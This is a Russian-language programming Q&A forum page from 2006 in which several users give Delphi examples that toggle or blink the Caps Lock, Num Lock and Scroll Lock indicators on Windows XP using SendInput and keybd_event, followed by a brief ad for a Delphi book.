Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Yurchik (статус: 3-ий класс), 29.06.2006, 01:00]:

Здравствуйте, Иван!
Судя по описанию функции SetKeyboardState в MSDN, она не будет работать с клавишами CAPS LOCK, NUM LOCK или Scroll Lock даже в Win98. Вместо этой функции следует использовать функцию SendInput(). Вот примерчик. При необходимости можно контролировать возращаемое функцией SendInput значение: если оно равно нулю, какой-то другой поток заблокировал ввод.

Приложение:

procedure TForm1.Button6Click(Sender: TObject); var inp: TInput; begin ZeroMemory(@inp, SizeOf(inp)); with inp, inp.ki do begin Itype:= INPUT_KEYBOARD; wVk:= VK_NUMLOCK; // VK_NUMLOCK or VK_SCROLL or VK_CAPITAL or any other key... end; SendInput(1, inp, SizeOf(TInput)); // нажимаем клавишу... inp.ki.dwFlags:= KEYEVENTF_KEYUP; SendInput(1, inp, SizeOf(TInput)); // и отпускаем ее end;

2. [Отвечает: Виталий Лещенко (статус: 2-ой класс), 29.06.2006, 18:29]:

Здравствуйте, Иван!
Вот вам пример "мигания" индикаторами.
imho довольно простой код, но если что...

Приложение:

uses Windows; {$AppType Console} type TKeyType = (ktCapsLock, ktNumLock, ktScrollLock); procedure SetLedState(KeyCode: TKeyType; bOn: Boolean); var Code: Byte; begin code := 0; case KeyCode of ktScrollLock: Code := VK_SCROLL; ktCapsLock: Code := VK_CAPITAL; ktNumLock: Code := VK_NUMLOCK; end; if (GetKeyState(Code) and 1 <> 0) xor bOn then begin keybd_event(Code, MapVirtualKey(Code, 0), KEYEVENTF_EXTENDEDKEY, 0); keybd_event(Code, MapVirtualKey(Code, 0), KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0); end; end; function Ctrl_Handler(Ctrl: Longint): LongBool; begin if Ctrl = CTRL_CLOSE_EVENT then begin SetLedState(ktNumLock, false); SetLedState(ktCapsLock, false); SetLedState(ktScrollLock, false); WriteLn('Closing...'); halt; end; Result := true; end; var st: array [0..2] of boolean; f: boolean; begin SetConsoleCtrlHandler(@Ctrl_Handler, True); st[0] := true; st[1] := false; st[2] := false; repeat SetLedState(ktNumLock, st[0]); SetLedState(ktCapsLock, st[1]); SetLedState(ktScrollLock, st[2]); sleep(150); f := st[0]; st[0] := st[1]; st[1] := st[2]; st[2] := f; until false; end.

Текст вопроса:

Возможно ли в Windows XP програмно включить/отключить индикатор CAPS LOCK, NUM LOCK или Scroll Lock.
Функция SetKeyboardState работает только в Windows 98.

Автор вопроса: Иван (статус: Посетитель)
Дата и время отправки вопроса: 28.06.2006, 19:26
Получено ответов на вопрос: 1
Сообщений в форуме вопроса: 0
Страница данного вопроса >>

» Ответы на данный вопрос:

1. [Отвечает: Alexander A. Gribanov (статус: 2-ой класс), 29.06.2006, 10:15]:

Тебе поможет функция keyb_event(). В приложении пример функции, которая устанавливает нужное состояние NumLock.

Приложение:

procedure SetNumLock(bState: boolean); var keyState: TKeyboardState; begin GetKeyboardState(keyState); if (bState and ((keyState[VK_NUMLOCK] and 1)=0)) or (not bState and ((keyState[VK_NUMLOCK] and 1)=1)) then begin // эмуляция нажатия клавиши keybd_event( VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY, 0 ); // эмуляция "отжатия" клавиши keybd_event( VK_NUMLOCK, 0, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0); end; end;

В.Гофман, А.Хомоненко - "Delphi: Быстрый старт":

- Основы работы в среде Delphi;
- Приёмы создания приложений;
- Разработка и использование баз данных;
- Примеры программ.

Формат: PDF (для просмотра потребуется Adobe Acrobat Reader).

:))